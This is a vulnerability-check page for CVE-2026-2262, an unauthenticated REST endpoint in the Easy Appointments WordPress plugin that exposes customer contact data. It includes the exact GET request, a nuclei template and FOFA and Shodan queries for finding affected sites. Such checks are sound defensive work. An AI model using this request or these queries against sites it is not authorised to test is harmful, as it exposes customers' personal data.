CVE-2026-2262· CWE-284
Easy Appointments <= 3.12.21 - Information Disclosure
highseverity
7.5CVSS score
2.4%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it
Easy Appointments WordPress plugin <= 3.12.21 contains a sensitive information exposure caused by an unauthenticated REST API endpoint /wp-json/wp/v2/eablocks/ea_appointments/ registered with permission_callback allowing unrestricted access, letting unauthenticated attackers extract sensitive customer appointment data.
Impact
Unauthenticated attackers can access sensitive customer data, including names, emails, phone numbers, IPs, descriptions, and pricing, risking privacy and data leakage.
Fix
Update to the latest version of Easy Appointments plugin.
How to confirm it
Send: GET /wp-json/wp/v2/eablocks/ea_appointments/
Positive when: contains_all(body, 'email', 'phone', 'ip', 'name') and contains(content_type, 'application/json') and status_code == 200Run it with nuclei: nuclei -id CVE-2026-2262 -u <target>
The full check
id: CVE-2026-2262
info:
name: Easy Appointments <= 3.12.21 - Information Disclosure
author: 0x_Akoko
severity: high
description: |
Easy Appointments WordPress plugin <= 3.12.21 contains a sensitive information exposure caused by an unauthenticated REST API endpoint /wp-json/wp/v2/eablocks/ea_appointments/ registered with permission_callback allowing unrestricted access, letting unauthenticated attackers extract sensitive customer appointment data.
impact: |
Unauthenticated attackers can access sensitive customer data, including names, emails, phone numbers, IPs, descriptions, and pricing, risking privacy and data leakage.
remediation: |
Update to the latest version of Easy Appointments plugin.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/easy-appointments/easy-appointments-31221-unauthenticated-sensitive-information-exposure-via-rest-api
- https://nvd.nist.gov/vuln/detail/CVE-2026-2262
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-2262
epss-score: 0.0239
epss-percentile: 0.84097
cwe-id: CWE-284
cpe: cpe:2.3:a:motopress:easy_appointments:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
fofa-query: body="/wp-content/plugins/easy-appointments/"
shodan-query: http.html:"/wp-content/plugins/easy-appointments/"
tags: cve,cve2026,wordpress,wp,wp-plugin,exposure,easy-appointments
http:
- raw:
- |
GET /wp-json/wp/v2/eablocks/ea_appointments/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains_all(body, 'email', 'phone', 'ip', 'name')"
- "contains(content_type, 'application/json')"
- "status_code == 200"
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/easy-appointments/easy-appointments-31221-unauthenticated-sensitive-information-exposure-via-rest-api
- https://nvd.nist.gov/vuln/detail/CVE-2026-2262
Use this check only on systems you are authorised to test. Where the data comes from